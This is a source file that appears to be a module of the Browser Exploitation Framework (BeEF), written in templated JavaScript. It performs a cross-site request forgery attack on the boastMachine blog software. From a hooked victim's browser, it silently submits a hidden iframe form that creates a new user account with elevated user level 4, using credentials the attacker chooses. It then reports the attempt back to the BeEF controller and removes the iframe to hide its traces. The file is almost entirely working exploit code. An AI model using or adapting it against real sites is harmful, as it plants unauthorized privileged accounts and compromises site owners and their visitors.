//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	var base     = '<%= @base %>'; 
	var username = '<%= @username %>';
	var password = '<%= @password %>';
	var email    = '<%= @email %>';

	var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
		{'type':'hidden', 'name':'action',     'value':'add_user'},
		{'type':'hidden', 'name':'do',         'value':'add'},
		{'type':'hidden', 'name':'user_login', 'value':username},
		{'type':'hidden', 'name':'user_pass',  'value':password},
		{'type':'hidden', 'name':'user_name',  'value':username},
		{'type':'hidden', 'name':'user_email', 'value':email},
		{'type':'hidden', 'name':'blogs[]',    'value':'4'},
		{'type':'hidden', 'name':'user_level', 'value':'4'},
	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	cleanup = function() {
		document.body.removeChild(boastmachine_iframe);
	}
	setTimeout("cleanup()", 15000);

});

